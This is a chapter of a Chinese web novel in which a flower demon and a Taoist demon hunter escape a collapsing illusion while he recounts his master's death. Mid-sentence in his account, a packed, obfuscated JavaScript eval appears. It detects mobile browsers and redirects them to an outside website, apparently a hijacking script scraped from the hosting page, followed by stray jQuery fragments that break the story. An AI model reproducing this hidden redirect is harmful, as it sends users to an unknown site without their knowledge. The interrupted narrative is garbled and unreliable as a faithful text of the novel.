14. 014

作品:《道长,你好香啊

    楼渊精致如冠玉的侧脸浮现五根清晰的手指印。


    他偏头无声和虞怜对视。


    眼底的偏执疯狂褪去,余下一片清明。


    虞怜的手还扬在空中,莫名有种做坏事被抓包的心虚。


    她尴尬笑两声,旋即理直气壮道:“我这么做是为了救你的命,你能理解的吧?”


    “我知道,”楼渊神色极淡,漂亮的眼尾恢复成平日里漫不经心的浅笑,“所以能从我身上下去了吗?”


    他嗓音又轻又低,故意将强调拖得慢悠悠的,莫名磁性勾人,像拿着轻柔的羽毛在心尖儿上扫过,很痒。


    尤其两人距离挨得十分近,虞怜几乎能感受轻洒在她脖间的温热呼吸。


    心脏不受控制跳得很快,她盯着近在咫尺俊美的脸庞,不由口干舌燥,有点把持不住。


    好想咬一口。


    她舔了舔尖牙,努力扼制住进食欲望的蠢蠢欲动。她识趣跳到地上,扬起笑脸:


    “可以,当然可以!”


    “唉,道长,你是不知道!刚才你发了疯似的砍结界,怎么叫你都不听,为了唤醒你,我可是费了老大的劲儿呢!”


    虞怜紧接着补充道,眨巴眨巴眼替自己邀功。


    若是有尾巴的话,此刻该翘上天了。


    楼渊长睫颤了颤,不经意错开视线,抬手在颈侧的牙印处按了按,颔首故作认同道:“是挺用劲的,力道再大些应当能咬穿我脖颈了。”


    “……情形所迫嘛。”虞怜眼神飘忽。


    “是么,”楼渊轻笑,“那想必骂我的话也是如此了?”


    “嗯对……等等不对,你刚刚能听见我说话?”


    语气震惊又不可置信。


    “我只是意识不清醒,又不是耳聋眼瞎。”


    楼渊好笑道,不知道她脑袋里在想写什么,仗着身高优势,屈起指节敲她脑门。


    虞怜“哦”了声,耳边花藤伸出缠住他作乱的手指,藤条不满意拍打两下。


    张嘴正要说些什么,地面忽然地动山摇,蛛网般迅速裂开数条漆黑裂缝。


    虞怜这才记起还身处在摇摇欲坠的幻境中,脚下踩着的地面倏地陷落,她反应迅速跳开,楼渊扣着她的腰飞身至阴影中。


    宽袖在凌乱气流中划过爽利弧度。


    虞怜站定,望着深不见底的地缝仍有些后怕:“早知道就不该和你说那么多废话,差点儿就掉下去了。”


    楼渊斜睨她一眼,“这种程度的地裂都能掉下去的话,我该怀疑你到底是怎么修成人形的了。”


    话语不轻不重,嘲讽意味直接拉满,虞怜心塞,试图解释,“我那只是夸张的形容而已……”


    “……别说这些了,当务之急是我们要赶紧想办法从这儿离开啊,幻境快塌了!”她转移话题。


    纵使对绝大多数同族所知甚少,虞怜大约也能猜到,幻境一旦坍塌,幻境中的人就会被吞噬绞杀。


    她心焦看着楼渊,期待他拿出符纸或者法器破开幻境,却不料,他竟直接就地坐下。


    黑暗如潮水涌过来,拢上一层薄纱。


    “幻境暂时不会塌。”他薄唇微张,“方才使用术法暴力破坏了里面的场景,才致使幻景动摇不稳。只要不再用法力,幻境自然没事。”


    “那我们怎么办,好歹得做点什么吧,总不能一直被困在这儿!”


    虞怜扯了扯发间蜿蜒而下的藤蔓,愁眉苦脸道。


    “幻境千变万化,机关重重,多做多错,等它衍生的虚景走完,自然而然就消散了。”楼渊言简意赅。


    望向不远处杀阵的眸底晦暗,像一潭幽邃无波的潭水,池面的平静下有说不清道不明的暗潮酝酿。


    “那得等多久啊,我都快枯萎了。”


    虞怜捧着点点泛黄的藤蔓,叹口气忧伤道。


    说着,她打了个响指,花藤似心灵感应般,听话在地上蔓延,聚拢形成可供枕靠的假山,她仰头一躺,挨着楼渊大大咧咧坐下,汲取香气中淡淡的灵力。


    “快了。”


    “……我还是觉得我们不该坐以待毙,”虞怜嘴巴不停,絮絮叨叨道:“在我的幻境中,我可是有一直在尝试改变曾经发生过的事情。虽然最后走向还是一样,但说不定正是我那些举动无意中触及到解局的关键,才从里面出来。”


    他还捅了她一剑呢,痛死她了。


    不过看在他们一同受难的份儿上,她大方地原谅幻境里的他啦。


    闻言,楼渊转头看她,问道:“你离开幻境时可有哪里不适?”


    虞怜摇头,如实道:“除了你杀我那一剑挺疼的,其余倒还好。当时我以为我要死了,结果一睁眼掉进你的幻境里了。估计是因为我们是一起中了幻妖的妖术,离开也得一起才行。”


    “嗐看见没,你平日里再厉害,关键时候还不如我呢。”虞怜嘲笑他道。


    楼渊不在意,把玩着身侧藤蔓上的淡粉色小花,兀地道:“幻妖一族与其他妖族有所不同,他们的妖力虚无缥缈,以人的怨恨情绪为依托,构建出人们心中恨意最浓烈的场景,无限放大他们的情绪,引诱他们变成彻头彻尾被仇恨裹挟的疯子……”


    “在他们控制不住向曾经复仇时,幻境开始坍塌,在他们最痛苦时吞没他们的生机。”


    因此,无论是人族还是妖族,面对幻妖皆是避而远之。


    在幻境中,一切力量皆是虚无,毕竟要对抗的不是作恶多端的妖物,而是自己内心。世上凡是灵智生物皆有阴暗一面,嫉妒、仇恨等负面情绪本就极容易驱使做出不理智的举动,更遑论还有幻妖蛊惑人心的妖术加持。


    据捉妖史书记载,中幻妖之术的人或妖几乎无解。


    他也不能幸免。


    如果没有她及时叫醒他的话。


    他垂眸敛住眼底神色。


    虞怜听得一愣一愣的,妖族种类实在繁多,她也不能全然了解,这倒是第一次听说幻妖。


    “照这么说,如果无怨无恨,幻妖岂不是就拿他没办法?”


    “没错。”


    不过就连稚童都不能完全做到心性纯善无恶,楼渊想不出到底该是有何种经历的人,才能无痴无嗔、无贪无怨。


    至少,不会是她这样受尽欺压、倾尽所有力气徘徊在死亡边缘的小妖。


    他想。


    那边,交战愈发激烈,一声巨响,杀阵如冰裂蔓延开裂痕,妖物化作原形撑着最后一口气和浑身是血的捉妖师对峙。


    “那……这是你最痛苦的记忆吗?”虞怜试探问。


    “是。”楼渊回答得很快。


    虞怜双手托腮,目光顺着他的视线落在小楼渊身上。


    瘦小的身影踉跄爬起来,冲进阵眼,毫无章法挥剑劈向蜘蛛妖。


    “……这些天师是我师父、师兄、师姐们,他们那天都死了,从此师门便剩我一人。”


    楼渊说得很平静,虞怜能感觉他的难过。


    “我因天生灵体的缘故,血肉含有异香,自有记忆以来,数不清的妖物接连不断出现在我生活里,大概在我三岁那年,父母死在妖物口中。然后我成了孤儿,流浪许久,被师父捡了去。”


    许是触景生情,亦或是幻妖妖力的影响远比想象中的更强大,楼渊忍不住回忆往昔,克制而又肆意宣泄情绪。


    虞怜怕他又陷入疯魔,歪着头一瞬不瞬盯着他眼眸。


    “师父教我练剑、习字,他每到一处都犹如英雄降临般,除妖拯救百姓于水火之中。你知道吗,那时,师父在我心中是无所不能的。”


    “……可那日,师父带着师兄们去一处山头除妖,我求他带上我去历练。他老人家拗不过我,心软同意了。可哪曾料到,妖王比我们所有人预想中的更敏锐,在我靠近山头的第一时间,气息就引起了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626467|172387||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    它注意。它在夜里偷袭我们所住的客栈,打乱了已安排妥当的除妖方案,师父被突如其来的攻击打得猝不及防,失了先机。”


    “所以是我害死了他们。”


    “小花妖,你说,要是我听话没有跟去,结果会不会不一样?”


    楼渊问。


    他的声音很轻,浑不在意的强调像是在叙述别人的故事。


    “这……”


    虞怜不知道,她从来不会去思考没有选择的那种可能。


    没有意义。


    再者,她不太能共情他的难过,她从一粒种子生根发芽到修成人形都是一个妖,没有亲近之人。


    偶尔有和她有交集的妖被吃或是被抓,也不会在她心底掀起波澜。


    她都不确定自己能不能见到明天的太阳升起呢,哪能为别的妖伤春悲秋。


    但此刻吧,气氛都到这儿了,她不说点什么似乎有点过意不去。


    “哎,那都不重要。道长,其实你不用太自责,害死你师父师兄的是妖物,又不是你。他们本来就是去捉妖的,和妖物对上是早晚的事儿,你的气息不过是让妖物提前出现而已。”


    “实力相距悬殊,再完备的方案也不顶用啊,比如换作现在的你去捉它,那妖往哪儿逃都不可能逃出你的炼妖塔,对吧。总之就是,千怪万怪,都怪妖暴虐嗜杀。”


    虞怜认真道。


    楼渊被她绞尽脑汁编说辞的模样逗笑。


    霎时,一阵白光盈天,强有力的气流掀飞周遭古树。


    靠着藤蔓的两人倒不曾受到分毫影响。


    不用抬头看,楼渊也知晓是师兄和妖物自爆。


    “……渊儿,你记住,妖族一日不灭,人间一日不宁,除妖,除妖!不要忘记为师的告诫!”


    老者嘶哑着对受了重伤的小楼渊叮嘱道,“若有一日,你落在妖物手中,必须立刻自我了结也,不可被妖物分而食之,埋下更大的祸患!”


    “……”


    景象越来越模糊。


    幻境在消失。


    楼渊往缠绕手臂的花藤注入一丝灵力,蔫搭搭的小花骨朵瞬间生机盎然。


    “小花妖,你的花还没凋谢。”他道。


    虞怜急着从幻境出去,有点激动,微抬下巴自得道:“那当然!我可是妖,我的花能轻易就谢了吗。”


    楼渊收回手:“……”


    **


    眼前又是一黑。


    这次有楼渊在身旁,虞怜安心不少。


    可算能离开这个鬼地方了。


    哪知她一睁眼,仍旧是黑沉沉一片,胸口沉甸甸的快喘不过气来。


    “道长!我们不会又到另一个幻境了吧?”


    虞怜大喊道,脸上压着的东西粗糙冰凉,看不清是何物。


    白光闪过,她身上骤然一轻,堆积着的横梁砖石飞开。


    “蠢。”


    身旁人淡淡吐出一个字。


    虞怜尴尬。


    原是这处塌成废墟,她和楼渊被埋在了底下。


    她决心闭眼躺一会儿,躲过他的冷嘲热讽。


    一个呼吸过去,没有声音响起。


    楼渊也未起身,静静躺着。


    散在地面的衣袍交缠凌乱,两道青灰色袖口叠在一起,分不清界线。


    虞怜没听到动静,悄悄睁开一只眼偏头觑他,正正巧和他宁静无澜的视线对视上。


    偷看被抓包,她罕见生出几分不自在,后知后觉替自己找补道:


    “……还以为你睡着了呢。”


    说罢,撑着手准备起身。


    地面又湿又凉,灰尘还多,赖着一点也不舒服,还是松松软软的泥土好。


    突然,一只胳膊横过来搭在她身上。


    楼渊侧过身揽住她的肩,将柔软的身躯抱在怀里,埋首在她发间,轻声道:“……陪我再躺会儿。”